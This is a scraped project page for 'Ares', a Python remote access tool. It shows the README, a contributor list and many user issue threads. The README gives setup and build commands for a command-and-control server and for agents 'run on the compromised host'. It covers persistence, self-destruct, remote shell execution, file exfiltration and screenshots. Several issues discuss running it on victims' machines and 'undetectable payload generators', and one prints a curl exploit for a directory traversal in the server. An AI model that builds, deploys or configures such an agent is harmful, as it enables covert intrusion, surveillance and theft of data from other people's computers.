Code Monkey home page Code Monkey logo

ares's Introduction

Ares

Ares is a Python Remote Access Tool.

Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.

Ares is made of two main programs:

  • A Command aNd Control server, which is a Web interface to administer the agents
  • An agent program, which is run on the compromised host, and ensures communication with the CNC

The Web interface can be run on any server running Python. The agent can be compiled to native executables using pyinstaller.

Setup

Install the Python requirements:

pip install -r requirements.txt

Initialize the database:

cd server
./ares.py initdb

In order to compile Windows agents on Linux, setup wine (optional):

./wine_setup.sh

Server

Run with the builtin (debug) server:

./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

Or run using gunicorn:

gunicorn ares:app -b 0.0.0.0:8080 --threads 20

The server should now be accessible on http://localhost:8080

Agent

Run the Python agent (update config.py to suit your needs):

cd agent
./agent.py

Build a new agent to a standalone binary:

./builder.py -p Linux --server http://localhost:8080 -o agent
./agent

To see a list of supported options, run ./builder.py -h

./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
                  [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
                  [--max_failed_connections MAX_FAILED_CONNECTIONS]
                  [--persistent]

Builds an Ares agent.

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Target platform (Windows, Linux).
  --server SERVER       Address of the CnC server (e.g http://localhost:8080).
  -o OUTPUT, --output OUTPUT
                        Output file name.
  --hello-interval HELLO_INTERVAL
                        Delay (in seconds) between each request to the CnC.
  --idle_time IDLE_TIME
                        Inactivity time (in seconds) after which to go idle.
                        In idle mode, the agent pulls commands less often
                        (every <hello_interval> seconds).
  --max_failed_connections MAX_FAILED_CONNECTIONS
                        The agent will self destruct if no contact with the
                        CnC can be made <max_failed_connections> times in a
                        row.
  --persistent          Automatically install the agent on first run.

Supported agent commands

<any shell command>
Executes the command in a shell and return its output.

upload <local_file>
Uploads <local_file> to server.

download <url> <destination>
Downloads a file through HTTP(S).

zip <archive_name> <folder>
Creates a zip archive of the folder.

screenshot
Takes a screenshot.

python <command|file>
Runs a Python command or local file.

persist
Installs the agent.

clean
Uninstalls the agent.

exit
Kills the agent.

help
This help.

ares's People

Contributors

royquent avatar sweetsoftware avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ares's Issues

Disconnect Issue

I'm facing multiple instance (processes) of agent.exe in task bar , there are number of process running under agent.exe. Any one suggest me how do I fix this behavior.

Regards

settings.py??

Dumb question but was goimg go use this for all my personal company computers .......ummm where is the settings.py i see the config.py for web ui but no settings.py to make exe files with im lost a bit of instruction please

Error with Download command

I can not use the download command to download files from the compromised system, the following message appears

download Documento_Secreto.txt

[*] Downloading Documento_Secreto.txt...

Traceback (most recent call last):
File "agent.exe.py", line 176, in download
File "site-packages\requests\api.py", line 72, in get
File "site-packages\requests\api.py", line 58, in request
File "site-packages\requests\sessions.py", line 494, in request
File "site-packages\requests\sessions.py", line 437, in prepare_request
File "site-packages\requests\models.py", line 305, in prepare
File "site-packages\requests\models.py", line 379, in prepare_url
MissingSchema: Invalid URL 'Documento_Secreto.txt': No schema supplied. Perhaps you meant http://Documento_Secreto.txt?

I have already searched the system and in the ares directory itself and can not find the file

agent.exe always return -1 error

I have installed HTTP bot server and agent according to the guideline. However, whenever run agent.ext, it shows "agent return -1". Is there anything missing? Thanks

Making the server stay up

Everything works. Your software is awesome to play with. =)

But I was wondering how to get the server to stay active after I exit my terminal session from ssh.
Similar to how starting up an Apache server will stay active unless the service is stopped.

Sorry, I'm not very familiar with running Python servers.

Server configuration

Is that possible to config server files in xampp or cpanel ?
if so please let me know the steps.

thanks <3

Command Not working With Agent

I have tried to install Ares On VPS. the server has successfully connected.
The machine is visible in List but I am not able to execute any commands.

agent executed on windows 10 (64 bit)
Server Installed on VPS (Ubuntu 16.04.02 64bit)
Python Version 2.7
Agent.py file complied to load the boat.
Please help

image
image

Error running agent

Hi,

When i try to run the agent i always get a "Fatal Error: Agent returned -1".
im using Python 2.7.11 and Windows 8.1 - compiled the agent using pyinstaller as described on the documentation.

Any known errors?

WAN configuration

I'm trying to make a WAN server configuration, but if the "server.conf" file gets some non LAN IP, it just make the server crash right after starting it.

Should it be a block made on purpose, or some configuration step that I forgot?

Greetings.

server error

when i try to start ./ares.py initdb it give methe following error

Traceback (most recent call last):
File "./ares.py", line 19, in
from api import api
File "/root/Downloads/2-undetectable payload generators/windows/Ares/server/api/init.py", line 16, in
import pygeoip
ImportError: No module named pygeoip

can you help me please

File upload directory traversal

The upload API allows for creation of files on disk in arbitrary locations with arbitrary content.

Ares/server/server.py

Lines 93 to 109 in 140c05f

@cherrypy.expose
def upload(self, botid, src, uploaded):
up_dir = os.path.join(UPLOAD_DIR, botid)
if not os.path.exists(up_dir):
os.makedirs(up_dir)
while os.path.exists(os.path.join(up_dir, src)):
src = "_" + src
save_path = os.path.join(up_dir, src)
outfile = open(save_path, 'wb')
while True:
data = uploaded.file.read(8192)
if not data:
break
outfile.write(data)
outfile.close()
up_url = "../uploads/" + botid + "/" + src
return 'Uploaded: <a href="' + up_url + '">' + up_url + '</a>'

% curl -v -X 'POST' -H 'Content-Type: multipart/form-data; boundary=--------1058259938' --data-binary $'----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"botid\"\x0d\x0a\x0d\x0a1\x0d\x0a----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"src\"\x0d\x0a\x0d\x0a../../../../../../../../tmp/traversal\x0d\x0a----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"uploaded\"; filename=\"uploaded\"\x0d\x0a\x0d\x0awin\x0d\x0a----------1058259938--\x0d\x0a' http://172.17.24.130:8080/api/upload
* Hostname was NOT found in DNS cache
*   Trying 172.17.24.130...
* Connected to 172.17.24.130 (172.17.24.130) port 8080 (#0)
> POST /api/upload HTTP/1.1
> User-Agent: curl/7.38.0
> Host: 172.17.24.130:8080
> Accept: */*
> Content-Type: multipart/form-data; boundary=--------1058259938
> Content-Length: 303
> 
* upload completely sent off: 303 out of 303 bytes
< HTTP/1.1 200 OK
< Date: Sun, 13 Dec 2015 07:16:29 GMT
< Content-Length: 125
< Content-Type: text/html;charset=utf-8
* Server CherryPy/3.5.0 is not blacklisted
< Server: CherryPy/3.5.0
< 
* Connection #0 to host 172.17.24.130 left intact
Uploaded: <a href="../uploads/1/../../../../../../../../tmp/traversal">../uploads/1/../../../../../../../../tmp/traversal</a>
% cat /tmp/traversal
win

Upload fails

I specify the file path when I do the command: "upload C:/Users/Prox/Desktop/image.jpg"
But I get this error in the server:

[14/Aug/2016:00:00:10] HTTP
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\cherrypy\_cprequest.py", line 670, in respond
    response.body = self.handler()
  File "C:\Python27\lib\site-packages\cherrypy\lib\encoding.py", line 220, in __call__
    self.body = self.oldhandler(*args, **kwargs)
  File "C:\Python27\lib\site-packages\cherrypy\_cpdispatch.py", line 60, in __call__
    return self.callable(*self.args, **self.kwargs)
  File "C:\Users\Prox\Desktop\server\server.py", line 289, in upload
    outfile = open(save_path, 'wb')
IOError: [Errno 2] No such file or directory: u'uploads\\DESKTOP-GS3T472\\image.jpg'

Can you point me in the right direction?

Build Agent Issue

Hy I'm on a centos machine and i try to build the agent but i'm failing big time

190355 INFO: Building EXE from out00-EXE.toc completed successfully.
Traceback (most recent call last):

File "./builder.py", line 75, in

main()

File "./builder.py", line 71, in main

persist=args.persistent)

File "./builder.py", line 47, in build_agent

os.rename(agent_file, output)

OSError: [Errno 18] Invalid cross-device link

Error Running Agent

when running in cmd agent get this output:
Program is to big to fit in memory and client not connecting!

Linux Support for DDoS, Keylogging

Hey there,

Loving the software, but it'd be great if there were better support for Linux. Currently, the screenshot option throws an error on Linux, since the PIL library is only meant for OS X & Windows, same with the DDoS module (requiring the PythonCOM library).

It makes sense to support Linux since so many potential "victim" devices run a Linux kernel, as are academic environments such as my cybersecurity class' environment.

Any support with this would be amazing.

I have a problem

I get the error message when I start the server.py files. can you help me?
File ".\server.py", line 245
print "Unexpected file: %s" % src

simple and efficient

good work , the code is easy to read simple and do it's job , now im developping it to work behind TOR hidden services in case the CnC is down

[Enhancement] Migrate to Python 3?

I think this would be great in python 3. Most developers don't have Python 2 installed any more therefore the migration will be beneficial to some.

500 Internal Server Error

Displays "The server encountered an unexpected condition which prevented it from fulfilling the request"

Client disconnects every once in a while

Every once in a while the client (agent) seems to disconnect from the server and the server displays them as offline but then will reconnect after 20ish seconds, I will try and fix this by pinging the user every 10 seconds and I'll write back when I figure it out.

python ./ares.py (server dir)

Good Evening,

Trying to follow the instruction and run ./ares.py (server dir) i get the following error;

Traceback (most recent call last);
File "ares.py", line 15, in
from models import_db
File /home/_____/Tools/Ares/server/model.py". line 5, in
from flask_sqlalchemy import SQLAlchemy

ImportError: No module named flask_sqlalchemy

I tried to go in and install flask the latest version. I tried to review line (5) by opening the .py file in leafpad. I didnt see anything that was off. Any assistance would greatly be appreciated!!

Agent.exe error

Hi everyone!
First of all, I added some modules to the agent, including the screenshot module which I think is cousing some errors. Agent.py runs fine as a python script, but when trying to compile it with pyinstaller I get the folowing output(cuted):

8875 INFO: Excluding import 'FixTk' 8875 INFO: Excluding import 'Tkinter' 8875 INFO: Excluding import 'PyQt5' 8875 WARNING: Removing import PIL.ImageQt from module PyQt5 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.QPixmap 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.QImage 8875 INFO: Excluding import 'PySide' 8875 WARNING: Removing import PIL.ImageQt from module PySide.QPixmap 8875 WARNING: Removing import PIL.ImageQt from module PySide.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PySide 8875 WARNING: Removing import PIL.ImageQt from module PySide.QImage 8875 INFO: Excluding import 'PyQt4' 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PyQt4 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.QImage 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.QPixmap

The agent.exe fails with: Critical error: Failed to exec. script agent, if double clicked.
However if I remove --noconsole, and then run it inside the console, I get the folowing error:

Traceback (most recent call last): File "agent.py", line 16, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "modules\screenshot.py", line 1, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\ImageGrab.py", line 18, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\Image.py", line 67, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\_imaging.py", line 7, in <module> File "PIL\_imaging.py", line 6, in __bootstrap__ ImportError: DLL load failed: The specified module could not be found. Failed to execute script agent

So I'm not sure how to fix this....

Pls help! 🥇

P.S: after more testing today, I discovered that the agent runs fine if screenshot module is excluded.

server.py doesn't work

I try to use it in python2 and python3. if i use ip 127.0.0.1 sever is running . but html has bad requests. if i change ip for my address in server.conf my server run and crash

Document additional functionality clearly

Currently, the keylogging, screenshot, download & upload functions, as well as the DDoS capabilities are not documented anywhere, and are only found by digging through the source code. I will submit a pull request when I can, but in the meantime it'd be great to fully document all the features of this awesome project.

Thanks for your work on this.

Linux agent on osx?

Python is a native language on OSX so was just wondering if the agent.py would run on OSX, even from terminal? If not, Is support in for this feature in the pipeline?

Keyloggin not work

Hi,
I really appreciate your work , I've found that keylogging is not working not it shows in any option in CNC . Could you please fix this .

Thanks

keyloger is missing?

Updated version does not have the keylogger ? it will be great if you add this feature with proper function.

Regards
Scorpoin

suggestion

thanks for the good work, i wanna recommend making the cmd close after running, it remain opened and bad for pen-testing.

thanks

Error running server.py

/Ares/server# python server.py
Traceback (most recent call last):
File "server.py", line 282, in
main()
File "server.py", line 269, in main
cherrypy.config.update("conf/server.conf")
File "/usr/lib/python2.7/dist-packages/cherrypy/config.py", line 81, in update
for section, valueMap in updateMap.iteritems():
AttributeError: 'str' object has no attribute 'iteritems'

Cannot configure Wine

Hello! I am on ubuntu xenial and when configuring wine, It gives me the message (when installing the requirements to wine)
valueerror illegal environment variable name
Any suggestions would be appreciated.

Mobile Commands

Hey,

Just thought I would let you know that when I try to send the screenshot command from my phone, I get the following message;

Exception calling "UploadFile" with "2" argument(s): "The remote server returned an error: (403) Forbidden."

I'm connected to wifi through my phone and on the CnC but when I type screenshot to try and get a screenshot of the target pc I get that error message. When I go on the CnC on my laptop or desktop I dont get the error message, which is find kind of weird

Error message

Hey,

I was wondering if you could help me with an error message im getting.

C:\Users\Liam>L:\Ares-master\Ares-master\server\server.py
Traceback (most recent call last):
File "L:\Ares-master\Ares-master\server\server.py", line 282, in
main()
File "L:\Ares-master\Ares-master\server\server.py", line 269, in main
cherrypy.config.update("conf/server.conf")
File "C:\Python27\lib\cherrypy_cpconfig.py", line 158, in update
reprconf.Config.update(self, config)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 160, in update
config = Parser().dict_from_file(config)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 232, in dict_from_file
self.read(file)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 202, in read
fp = open(filename)
IOError: [Errno 2] No such file or directory: 'conf/server.conf'

Thats the error message that pops up. I think it may have something to do with the cherrypy library but im not exactly experienced with python. I'm running windows 7 as well if that might be causing it not to work. I copied what it says in the cmd when i try running the server.py file. Before this it was saying something like error : no module named cherrypy, and i fixed that by putting cherrypy in my pythons library folder. So yeah any help you can give would be awesome.

Thanks,
Knil92

Screenshot error

Hey,

So I have the agent running on a computer and when I send the command screenshot, I get an error message Exception calling "CopyFromScreen" with "3" argument(s): "The handle is invalid" this keeps happening even after the computer has been restarted. Any ideas on how to fix?

Feature request to add

Good to see it update, it will be great if screeshot feature become automate means it will take screen shot timely based manner. Like in every 30 second it will take screen shot and send back to server.

Looking forward to your kind response.

Regards

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.